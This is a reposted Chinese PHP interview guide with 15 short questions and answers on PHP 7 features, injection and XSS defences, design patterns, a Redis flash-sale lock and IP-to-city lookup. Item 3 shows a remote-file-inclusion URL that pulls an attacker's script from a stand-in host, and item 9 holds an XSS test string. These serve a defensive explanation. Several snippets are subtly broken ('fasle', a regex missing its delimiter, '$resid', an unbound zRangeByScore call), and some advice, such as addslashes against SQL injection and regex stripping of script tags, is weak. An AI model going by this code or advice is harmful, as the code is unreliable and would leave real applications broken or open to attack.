前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >PHPer面试指南-php 篇(二)

PHPer面试指南-php 篇(二)

作者头像
码农编程进阶笔记
发布2021-07-20 15:39:19
3920
发布2021-07-20 15:39:19
举报

1.php7新特性

  • ?? 运算符(NULL 合并运算符)
  • 函数返回值类型声明
  • 标量类型声明
  • use 批量声明
  • define 可以定义常量数组
  • 闭包( Closure)增加了一个 call 方法 详细的可以见官网:php7-new-features

2.php7卓越性能背后的优化

  • 减少内存分配次数
  • 多使用栈内存
  • 缓存数组的hash值
  • 字符串解析成桉树改为宏展开
  • 使用大块连续内存代替小块破碎内存 详细的可以参考鸟哥的PPT:PHP7性能之源

3.include($_GET['p'])的安全隐患

现在任一个黑客现在都可以用:http://www.yourdomain.com/index.php?p=anyfile.txt 来获取你的机密信息,或执行一个PHP脚本。如果allow_url_fopen=On,你更是死定了:试试这个输入:http://www.yourdomain.com/index.php?p=http://youaredoomed.com/phphack.php 现在你的网页中包含了http://www.youaredoomed.com/phphack.php的输出. 黑客可以发送垃圾邮件,改变密码,删除文件等等。只要你能想得到。

4.列出一些防范SQL注入、XSS攻击、CSRF攻击的方法

SQL注入:

  • addslashes函数
  • mysql_real_escape_string/mysqli_real_escape_string/PDO::quote()
  • PDO预处理 XSS:htmlspecial函数 CSRF:
  • 验证HTTP REFER
  • 使用toke进行验证

5.接口如何安全访问

jwt或验证签名

6.PHP里有哪些设计模式

  • 单例模式
  • 工厂模式
  • 脸面模式(facade)
  • 注册器模式
  • 策略模式
  • 原型模式
  • 装饰器模式 更多的可以看PHP设计模式简介这篇文章

7.验证ip是否正确

代码语言:javascript
复制
function check_ip($ip)
{
    if (!filter_var($ip, FILTER_VALIDATE_IP)) {
    return false;
    } else {
        return true;
    }
}

8.验证日期是否合理

代码语言:javascript
复制
function check_datetime($datetime)
{
    if (date('Y-m-d H:i:s', strtotime($datetime)) === $datetime) {
        return true;
    } else {
        return false;
    }
}

9.写一个正则表达式,过滤JS脚本(及把script标记及其内容都去掉)

代码语言:javascript
复制
$text = '<script>alert('XSS')</script>';
$pattern = '<script.*>.*<\/script>/i';
$text = preg_replace($pattern, '', $text);

10.下单后30分钟未支付取消订单

第一种方案:被动过期+cron,就是用户查看的时候去数据库查有没有支付+定时清理。第二种方案:延迟性任务,到时间检查订单是否支付成功,如果没有支付则取消订单

11.设计一个秒杀系统

思路:用redis的队列

代码语言:javascript
复制
$ttl = 4;
$random = mt_rand(1,1000).'-'.gettimeofday(true).'-'.mt_rand(1,1000);

$lock = fasle;
while (!$lock) {
    $lock = $redis->set('lock', $random, array('nx', 'ex' => $ttl));
}

if ($redis->get('goods.num') <= 0) {
    echo ("秒杀已经结束");
    //删除锁
    if ($redis->get('lock') == $random) {
        $redis->del('lock');
    }
    return false;
}

$redis->decr('goods.num');
echo ("秒杀成功");
//删除锁
if ($redis->get('lock') == $random) {
    $redis->del('lock');
}
return true;

12.请设计一个实现方式,可以给某个ip找到对应的省和市,要求效率竟可能的高

代码语言:javascript
复制
//ip2long,把所有城市的最小和最大Ip录进去
$redis_key = 'ip';
$redis->zAdd($redis_key, 20, '#bj');//北京的最小IP加#
$resid->zAdd($redis_key, 30, 'bj');//最大IP

function get_ip_city($ip_address)
{
    $ip = ip2long($ip_address);

    $redis_key = 'ip';
    $city = zRangeByScore($redis_key, $ip, '+inf', array('limit' => array(0, 1)));
    if ($city) {
        if (strpos($city[0], "#") === 0) {
            echo '城市不存在!';
        } else {
            echo '城市是' . $city[0];
        }
    } else {
        echo '城市不存在!';
    }
}

13.网页/应用访问慢突然变慢,如何定位问题

  1. top、iostat查看cpu、内存及io占用情况
  2. 内核、程序参数设置不合理 查看有没有报内核错误,连接数用户打开文件数这些有没有达到上限等等
  3. 链路本身慢 是否跨运营商、用户上下行带宽不够、dns解析慢、服务器内网广播风暴什么的
  4. 程序设计不合理 是否程序本身算法设计太差,数据库语句太过复杂或者刚上线了什么功能引起的
  5. 其它关联的程序引起的 如果要访问数据库,检查一下是否数据库访问慢
  6. 是否被攻击了 查看服务器是否被DDos了等等
  7. 硬件故障 这个一般直接服务器就挂了,而不是访问慢

14.如何设计/优化一个访问量比较大的博客/论坛

  • 减少http请求(比如使用雪碧图)
  • 优化数据库(范式、SQL语句、索引、配置、读写分离)
  • 缓存使用(Memcache、Redis)
  • 负载均衡
  • 动态内容静态化+CDN
  • 禁止外部盗链(refer、图片添加水印)
  • 控制大文件下载
  • 使用集群

15.如何搭建Composer私有库

使用satis搭建

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-10-15,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 码农编程进阶笔记 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 1.php7新特性
  • 2.php7卓越性能背后的优化
  • 3.include($_GET['p'])的安全隐患
  • 4.列出一些防范SQL注入、XSS攻击、CSRF攻击的方法
  • 5.接口如何安全访问
  • 6.PHP里有哪些设计模式
  • 7.验证ip是否正确
  • 8.验证日期是否合理
  • 9.写一个正则表达式,过滤JS脚本(及把script标记及其内容都去掉)
  • 10.下单后30分钟未支付取消订单
  • 11.设计一个秒杀系统
  • 12.请设计一个实现方式,可以给某个ip找到对应的省和市,要求效率竟可能的高
  • 13.网页/应用访问慢突然变慢,如何定位问题
  • 14.如何设计/优化一个访问量比较大的博客/论坛
  • 15.如何搭建Composer私有库
相关产品与服务
云数据库 SQL Server
腾讯云数据库 SQL Server (TencentDB for SQL Server)是业界最常用的商用数据库之一,对基于 Windows 架构的应用程序具有完美的支持。TencentDB for SQL Server 拥有微软正版授权,可持续为用户提供最新的功能,避免未授权使用软件的风险。具有即开即用、稳定可靠、安全运行、弹性扩缩等特点。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档